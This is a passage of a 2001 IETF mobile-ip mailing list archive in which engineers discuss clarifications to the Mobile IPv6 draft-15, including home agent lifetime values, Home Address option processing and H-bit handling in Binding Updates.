	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMBcnLS027665
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 03:38:49 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMBcn7H027664
	for mobile-ip-dist; Thu, 22 Nov 2001 03:38:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMBcjLS027657
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 03:38:46 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA14992
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 03:38:46 -0800 (PST)
Received: from plugtests.plugtests.net ([217.167.117.2])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA01242
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 04:38:20 -0700 (MST)
Received: from egypt.64translator.com ([217.167.116.68]) by plugtests.plugtests.net with Microsoft SMTPSVC(5.0.2195.3779);
	 Thu, 22 Nov 2001 12:39:33 +0100
Date: Thu, 22 Nov 2001 20:39:55 +0900
From: Yukiyo Akisada <yukiyo_akisada@yokogawa.co.jp>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Home Agent Lifetime
Message-Id: <20011122203955.26fffed6.yukiyo_akisada@yokogawa.co.jp>
In-Reply-To: <20011121172039.3a66ac0e.yukiyo_akisada@yokogawa.co.jp>
References: <20011121172039.3a66ac0e.yukiyo_akisada@yokogawa.co.jp>
Organization: Yokogawa Electric Corporation
X-Mailer: Sylpheed version 0.6.5 (GTK+ 1.2.10; i386-unknown-freebsd4.4)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 22 Nov 2001 11:39:33.0151 (UTC) FILETIME=[5AD112F0:01C1734A]
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Oops, I made a mistake.



On Wed, 21 Nov 2001 17:20:39 +0900
Yukiyo Akisada <yukiyo_akisada@yokogawa.co.jp> wrote:

> chapter 6.X "New Advertisement Interval Option Format"
> says that a value of 0 MUST NOT be used.

The correct one is chapter 6.X "New Home Agent Information Option Format",
and says that a value of 0 MUST NOT be used as Home Agent Lifetime.



> But, chapter 9.X "Receiving Router Advertisement Messages"
> says that when received home agent lifetime value is zero,
> immediately delete this entry in the Home Agents List.
> 
> So, can I use zero as the value?, or not?



Regards, again.



----
Yukiyo Akisada @ TAHI Project


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 08:19:50 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA14437
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 08:19:50 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA26968;
	Thu, 22 Nov 2001 06:18:04 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA23782;
	Thu, 22 Nov 2001 05:18:08 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMDGxLS028062
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:16:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMDGxsw028061
	for mobile-ip-dist; Thu, 22 Nov 2001 05:16:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMDGtLS028054
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:16:55 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA04805
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:16:56 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA03090
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:16:55 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAMDGrY25760
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 15:16:54 +0200
Date: Thu, 22 Nov 2001 15:16:53 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] MIPv6 7.1
Message-ID: <Pine.LNX.4.33.0111221514250.25741-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello all,

I was checking my old mails, and there was a comment on MIPv7 section 7.1 
there:

=====
--8<--
 the following requirements apply to ALL
   IPv6 nodes (whether host or router, whether mobile or stationary):

    -  Every IPv6 node MUST be able to process a Home Address option
        received in any IPv6 packet                                 
    [...]
--8<--                             

what does 'be able to process' mean in this context?  Recognize and be
able to parse it?  Parse it and MUST have the processing enabled?
=====

I'm assuming the latter, but there could be many interpretations.

Any thoughts?

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 08:50:55 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA14804
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 08:50:55 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA14520;
	Thu, 22 Nov 2001 06:49:04 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA26339;
	Thu, 22 Nov 2001 05:49:12 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMDmNLS028246
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:48:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMDmNYr028245
	for mobile-ip-dist; Thu, 22 Nov 2001 05:48:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMDmKLS028238
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:48:20 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA07522
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:48:21 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA22080
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 05:48:16 -0800 (PST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fAMDmEh26796
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 14:48:14 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id OAA23283
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 14:48:14 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fAMDmED22470
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 14:48:14 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111221348.fAMDmED22470@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] MIPv6 7.1 
In-reply-to: Your message of Thu, 22 Nov 2001 15:16:53 +0200.
             <Pine.LNX.4.33.0111221514250.25741-100000@netcore.fi> 
Date: Thu, 22 Nov 2001 14:48:14 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
 In your previous mail you wrote:

   I was checking my old mails, and there was a comment on MIPv6 section 7.1 
   there:
   
   =====
   --8<--
    the following requirements apply to ALL
      IPv6 nodes (whether host or router, whether mobile or stationary):
   
       -  Every IPv6 node MUST be able to process a Home Address option
           received in any IPv6 packet                                 
       [...]
   --8<--                             
   
   what does 'be able to process' mean in this context?  Recognize and be
   able to parse it?  Parse it and MUST have the processing enabled?
   =====
   
   I'm assuming the latter, but there could be many interpretations.
   
=> the latter but as Home Address options have some security issues
perhaps next documents will be different.

Regards

Francis.Dupont@enst-bretagne.fr


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 09:50:21 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15533
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 09:50:21 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA21183;
	Thu, 22 Nov 2001 07:48:39 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA06024;
	Thu, 22 Nov 2001 06:48:44 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMElJLS028465
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 06:47:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMElJIW028464
	for mobile-ip-dist; Thu, 22 Nov 2001 06:47:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMElGLS028457
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 06:47:16 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA07377
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 06:46:56 -0800 (PST)
Received: from iproxy2.ericsson.dk (iproxy2.ericsson.dk [213.159.160.69])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA17116
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 06:47:17 -0800 (PST)
Received: from unixmail.ted.dk.eu.ericsson.se (knud.ted.dk.eu.ericsson.se [192.66.4.246])
	by iproxy2.ericsson.dk (8.10.1/8.10.1) with ESMTP id fAMElFD09047
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 15:47:15 +0100 (MET)
Received: from ted.ericsson.dk (petg.ted.dk.eu.ericsson.se [192.66.4.85])
	by unixmail.ted.dk.eu.ericsson.se (8.10.1/8.10.1/TEDmain-1.0) with ESMTP id fAMElFL16120;
	Thu, 22 Nov 2001 15:47:15 +0100 (MET)
Message-ID: <3BFD0FF2.6168C62E@ted.ericsson.dk>
Date: Thu, 22 Nov 2001 15:47:14 +0100
From: "Peter Grimstrup (TED)" <peter.grimstrup@ted.ericsson.dk>
Organization: Ericsson Telebit A/S
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] draft 15
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

A few comments/questions to 
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-ipv6-15.txt
downloaded this morning (CET).

The date is 2 July 2001 as in draft-14.

typo: page 17: "int" should be "char"

Page 20: Deleting the preference stuff?
I guess this is the only object pointing towards some load-sharing/balancing
HA's.
Maybe too simple, but I should like to see some other proposals on this problem
before removing the field.

Section 5.1: What happened to:
>> Agree, but why not whenever it is possible/easy write it explicitly, i.e.
>> change 5.1 to "D-bit is ignored if the H-bit is not set."
>
>I don't see any problem with this.  Unless someone else can say
>why not to do this, I will make the change.
>
>Regards,
>Charlie P.

Section 8.3:
Some HA (also being a CN) receives a BU without H-bit from a node already
registered _with_ the H-bit set.
What would be a sensible reaction?
1) Stop intercepting packets and just work as a usual CN
2) Ignore the missing H-bit in the BU
3) ?

/Peter
-- 
Peter Grimstrup          Systems Developer
Ericsson Telebit A/S     tel: +45 89 38 52 75
Skanderborgvej 232       fax: +45 89 38 51 01
DK 8260 Viby J, Denmark  e-mail: peter.grimstrup@ted.ericsson.dk


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 10:19:03 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15909
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 10:19:02 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA02496;
	Thu, 22 Nov 2001 07:16:10 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA14438;
	Thu, 22 Nov 2001 07:15:53 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMFEpLS028624
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:14:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMFEpGa028623
	for mobile-ip-dist; Thu, 22 Nov 2001 07:14:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMFElLS028616
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:14:47 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA14294
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:14:47 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA28040
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:14:47 -0800 (PST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fAMFEjh04802
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:14:45 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id QAA25942
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:14:44 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fAMFEiD22645
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:14:44 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111221514.fAMFEiD22645@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15 
In-reply-to: Your message of Thu, 22 Nov 2001 15:47:14 +0100.
             <3BFD0FF2.6168C62E@ted.ericsson.dk> 
Date: Thu, 22 Nov 2001 16:14:44 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
 In your previous mail you wrote:

   Section 8.3:
   Some HA (also being a CN) receives a BU without H-bit from a node already
   registered _with_ the H-bit set.
   What would be a sensible reaction?

=> I agree this should be specified (and we'll test this ASAP
at the ETSI IPv6 plug-tests)

   1) Stop intercepting packets and just work as a usual CN
   2) Ignore the missing H-bit in the BU
   3) ?
   
=> I vote for 1) because this can happen when the MN reboots
and forgets its previous HA for instance (I am trying to find
a meaning).

Thanks

Francis.Dupont@enst-bretagne.fr


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 10:39:58 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16905
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 10:39:57 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA08785;
	Thu, 22 Nov 2001 07:39:31 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA16444;
	Thu, 22 Nov 2001 07:39:20 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMFcYLS028802
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:38:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMFcYiS028801
	for mobile-ip-dist; Thu, 22 Nov 2001 07:38:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMFcULS028794
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:38:30 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA06068
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:38:30 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA02396
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 08:38:47 -0700 (MST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fAMFcRh08389
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:38:27 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id QAA26749
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:38:27 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fAMFcRD22710
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:38:27 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111221538.fAMFcRD22710@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15 
In-reply-to: Your message of Thu, 22 Nov 2001 15:47:14 +0100.
             <3BFD0FF2.6168C62E@ted.ericsson.dk> 
Date: Thu, 22 Nov 2001 16:38:27 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
 In your previous mail you wrote:

   Section 8.3:
   Some HA (also being a CN) receives a BU without H-bit from a node already
   registered _with_ the H-bit set.
   What would be a sensible reaction?
   1) Stop intercepting packets and just work as a usual CN
   2) Ignore the missing H-bit in the BU
   3) ?
   
=> after a short discussion, the consensus is to raise an error
(with a new code). Of course if acknowlegments are not requested
an easy solution is to drop the BU (:-).

Thanks

Francis.Dupont@enst-bretagne.fr

PS: the test is near ready, we don't expect good behaviors because
the test is far faster to write than a fix...


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 10:49:19 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17132
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 10:49:19 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA11000;
	Thu, 22 Nov 2001 07:48:08 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA17332;
	Thu, 22 Nov 2001 07:48:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMFlPLS028951
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:47:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMFlOrB028950
	for mobile-ip-dist; Thu, 22 Nov 2001 07:47:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMFlLLS028943
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:47:21 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA17291
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:47:21 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA24375
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 07:47:20 -0800 (PST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAMFlJf17820
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:47:19 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Thu Nov 22 16:47:05 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ89D66>; Thu, 22 Nov 2001 16:47:18 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0A7@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] draft 15 
Date: Thu, 22 Nov 2001 16:46:58 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
